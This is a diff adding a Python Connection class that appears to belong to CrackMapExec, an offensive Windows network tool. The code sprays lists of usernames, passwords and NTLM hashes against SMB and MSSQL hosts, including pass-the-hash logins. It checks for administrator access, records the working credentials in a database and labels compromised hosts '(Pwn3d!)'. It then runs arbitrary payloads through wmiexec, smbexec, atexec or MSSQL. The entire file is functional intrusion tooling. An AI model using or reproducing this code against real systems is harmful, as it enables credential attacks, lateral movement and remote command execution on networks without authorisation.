|
| 1 | +from traceback import format_exc |
| 2 | +from core.helpers import highlight |
| 3 | +from core.execmethods.mssqlexec import MSSQLEXEC |
| 4 | +from core.execmethods.wmiexec import WMIEXEC |
| 5 | +from core.execmethods.smbexec import SMBEXEC |
| 6 | +from core.execmethods.atexec import TSCH_EXEC |
| 7 | +from impacket.dcerpc.v5 import transport, scmr |
| 8 | +from impacket.dcerpc.v5.rpcrt import DCERPCException |
| 9 | +from impacket.smbconnection import SessionError |
| 10 | + |
| 11 | +class Connection: |
| 12 | + |
| 13 | + def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver): |
| 14 | + self.args = args |
| 15 | + self.db = db |
| 16 | + self.host = target |
| 17 | + self.hostname = server_name |
| 18 | + self.domain = domain |
| 19 | + self.conn = conn |
| 20 | + self.logger = logger |
| 21 | + self.cmeserver = cmeserver |
| 22 | + self.password = None |
| 23 | + self.username = None |
| 24 | + self.hash = None |
| 25 | + self.admin_privs = False |
| 26 | + |
| 27 | + self.login() |
| 28 | + |
| 29 | + def check_if_admin(self): |
| 30 | + if self.args.mssql: |
| 31 | + try: |
| 32 | + #I'm pretty sure there has to be a better way of doing this. |
| 33 | + #Currently we are just searching for our user in the sysadmin group |
| 34 | + |
| 35 | + self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") |
| 36 | + query_output = self.conn.printRows() |
| 37 | + if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: |
| 38 | + self.admin_privs = True |
| 39 | + except: |
| 40 | + pass |
| 41 | + |
| 42 | + elif not self.args.mssql: |
| 43 | + ''' |
| 44 | + We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. |
| 45 | + If this succeeds, the user context has administrator access to the target. |
| 46 | +
|
| 47 | + Idea stolen from PowerView's Invoke-CheckLocalAdminAccess |
| 48 | + ''' |
| 49 | + |
| 50 | + stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) |
| 51 | + |
| 52 | + rpctransport = transport.DCERPCTransportFactory(stringBinding) |
| 53 | + rpctransport.set_dport(self.args.smb_port) |
| 54 | + |
| 55 | + lmhash = '' |
| 56 | + nthash = '' |
| 57 | + if self.hash: |
| 58 | + if self.hash.find(':') != -1: |
| 59 | + lmhash, nthash = self.hash.split(':') |
| 60 | + else: |
| 61 | + nthash = self.hash |
| 62 | + |
| 63 | + if hasattr(rpctransport, 'set_credentials'): |
| 64 | + # This method exists only for selected protocol sequences. |
| 65 | + rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) |
| 66 | + dce = rpctransport.get_dce_rpc() |
| 67 | + dce.connect() |
| 68 | + dce.bind(scmr.MSRPC_UUID_SCMR) |
| 69 | + |
| 70 | + lpMachineName = '{}\x00'.format(self.host) |
| 71 | + try: |
| 72 | + |
| 73 | + # 0xF003F - SC_MANAGER_ALL_ACCESS |
| 74 | + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx |
| 75 | + |
| 76 | + resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) |
| 77 | + self.admin_privs = True |
| 78 | + except DCERPCException: |
| 79 | + pass |
| 80 | + |
| 81 | + def plaintext_login(self, username, password): |
| 82 | + try: |
| 83 | + if self.args.mssql: |
| 84 | + res = self.conn.login(None, username, password, self.domain, None, True) |
| 85 | + if res is not True: |
| 86 | + self.conn.printReplies() |
| 87 | + return False |
| 88 | + |
| 89 | + elif not self.args.mssql: |
| 90 | + self.conn.login(username, password, self.domain) |
| 91 | + |
| 92 | + self.password = password |
| 93 | + self.username = username |
| 94 | + self.check_if_admin() |
| 95 | + self.db.add_credential('plaintext', self.domain, username, password) |
| 96 | + |
| 97 | + if self.admin_privs: |
| 98 | + self.db.link_cred_to_host('plaintext', self.domain, username, password, self.host) |
| 99 | + |
| 100 | + out = u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'), |
| 101 | + username.decode('utf-8'), |
| 102 | + password.decode('utf-8'), |
| 103 | + highlight('(Pwn3d!)') if self.admin_privs else '') |
| 104 | + |
| 105 | + self.logger.success(out) |
| 106 | + return True |
| 107 | + except SessionError as e: |
| 108 | + error, desc = e.getErrorString() |
| 109 | + self.logger.error(u'{}\\{}:{} {} {}'.format(self.domain.decode('utf-8'), |
| 110 | + username.decode('utf-8'), |
| 111 | + password.decode('utf-8'), |
| 112 | + error, |
| 113 | + '({})'.format(desc) if self.args.verbose else '')) |
| 114 | + return False |
| 115 | + |
| 116 | + def hash_login(self, username, ntlm_hash): |
| 117 | + lmhash = '' |
| 118 | + nthash = '' |
| 119 | + |
| 120 | + #This checks to see if we didn't provide the LM Hash |
| 121 | + if ntlm_hash.find(':') != -1: |
| 122 | + lmhash, nthash = ntlm_hash.split(':') |
| 123 | + else: |
| 124 | + nthash = ntlm_hash |
| 125 | + |
| 126 | + try: |
| 127 | + if self.args.mssql: |
| 128 | + res = self.conn.login(None, username, '', self.domain, ntlm_hash, True) |
| 129 | + if res is not True: |
| 130 | + self.conn.printReplies() |
| 131 | + return False |
| 132 | + |
| 133 | + elif not self.args.mssql: |
| 134 | + self.conn.login(username, '', self.domain, lmhash, nthash) |
| 135 | + |
| 136 | + self.hash = ntlm_hash |
| 137 | + self.username = username |
| 138 | + self.check_if_admin() |
| 139 | + self.db.add_credential('hash', self.domain, username, ntlm_hash) |
| 140 | + |
| 141 | + if self.admin_privs: |
| 142 | + self.db.link_cred_to_host('hash', self.domain, username, ntlm_hash, self.host) |
| 143 | + |
| 144 | + out = u'{}\\{} {} {}'.format(self.domain.decode('utf-8'), |
| 145 | + username.decode('utf-8'), |
| 146 | + ntlm_hash, |
| 147 | + highlight('(Pwn3d!)') if self.admin_privs else '') |
| 148 | + |
| 149 | + self.logger.success(out) |
| 150 | + return True |
| 151 | + except SessionError as e: |
| 152 | + error, desc = e.getErrorString() |
| 153 | + self.logger.error(u'{}\\{} {} {} {}'.format(self.domain.decode('utf-8'), |
| 154 | + username.decode('utf-8'), |
| 155 | + ntlm_hash, |
| 156 | + error, |
| 157 | + '({})'.format(desc) if self.args.verbose else '')) |
| 158 | + return False |
| 159 | + |
| 160 | + def login(self): |
| 161 | + if self.args.local_auth: |
| 162 | + self.domain = self.hostname |
| 163 | + |
| 164 | + for user in self.args.username: |
| 165 | + |
| 166 | + if type(user) is file: |
| 167 | + |
| 168 | + for usr in user: |
| 169 | + |
| 170 | + if self.args.hash: |
| 171 | + for ntlm_hash in self.args.hash: |
| 172 | + if type(ntlm_hash) is not file: |
| 173 | + if self.hash_login(usr.strip(), ntlm_hash): return |
| 174 | + |
| 175 | + elif type(ntlm_hash) is file: |
| 176 | + for f_hash in ntlm_hash: |
| 177 | + if self.hash_login(usr.strip(), f_hash.strip()): return |
| 178 | + |
| 179 | + elif self.args.password: |
| 180 | + for password in self.args.password: |
| 181 | + if type(password) is not file: |
| 182 | + if self.plaintext_login(usr.strip(), password): return |
| 183 | + |
| 184 | + elif type(password) is file: |
| 185 | + for f_pass in password: |
| 186 | + if self.plaintext_login(usr.strip(), f_pass.strip()): return |
| 187 | + |
| 188 | + elif type(user) is not file: |
| 189 | + |
| 190 | + if self.args.hash: |
| 191 | + for ntlm_hash in self.args.hash: |
| 192 | + if type(ntlm_hash) is not file: |
| 193 | + if self.hash_login(user, ntlm_hash): return |
| 194 | + |
| 195 | + elif type(ntlm_hash) is file: |
| 196 | + for f_hash in ntlm_hash: |
| 197 | + if self.hash_login(user, f_hash.strip()): return |
| 198 | + |
| 199 | + elif self.args.password: |
| 200 | + for password in self.args.password: |
| 201 | + if type(password) is not file: |
| 202 | + if self.plaintext_login(user, password): return |
| 203 | + |
| 204 | + elif type(password) is file: |
| 205 | + for f_pass in password: |
| 206 | + if self.plaintext_login(user, f_pass.strip()): return |
| 207 | + |
| 208 | + def execute(self, payload, get_output=False, method=None): |
| 209 | + |
| 210 | + if self.args.mssql: |
| 211 | + exec_method = MSSQLEXEC(self.conn) |
| 212 | + |
| 213 | + elif not self.args.mssql: |
| 214 | + |
| 215 | + if not method and not self.args.exec_method: |
| 216 | + try: |
| 217 | + exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) |
| 218 | + except: |
| 219 | + if self.args.verbose: |
| 220 | + self.logger.debug('Error executing command via wmiexec, traceback:') |
| 221 | + self.logger.debug(format_exc()) |
| 222 | + |
| 223 | + try: |
| 224 | + exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) |
| 225 | + except: |
| 226 | + if self.args.verbose: |
| 227 | + self.logger.debug('Error executing command via smbexec, traceback:') |
| 228 | + self.logger.debug(format_exc()) |
| 229 | + |
| 230 | + try: |
| 231 | + exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share) |
| 232 | + except: |
| 233 | + if self.args.verbose: |
| 234 | + self.logger.debug('Error executing command via atexec, traceback:') |
| 235 | + self.logger.debug(format_exc()) |
| 236 | + return |
| 237 | + |
| 238 | + elif method or self.args.exec_method: |
| 239 | + |
| 240 | + if not method: |
| 241 | + method = self.args.exec_method |
| 242 | + |
| 243 | + if method == 'wmiexec': |
| 244 | + exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) |
| 245 | + |
| 246 | + elif method == 'smbexec': |
| 247 | + exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) |
| 248 | + |
| 249 | + elif method == 'atexec': |
| 250 | + exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share) |
| 251 | + |
| 252 | + if self.cmeserver: |
| 253 | + if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'): |
| 254 | + self.cmeserver.server.hosts.append(self.host) |
| 255 | + |
| 256 | + output = exec_method.execute(payload, get_output) |
| 257 | + |
| 258 | + return u'{}'.format(output.strip().decode('utf-8')) |
0 commit comments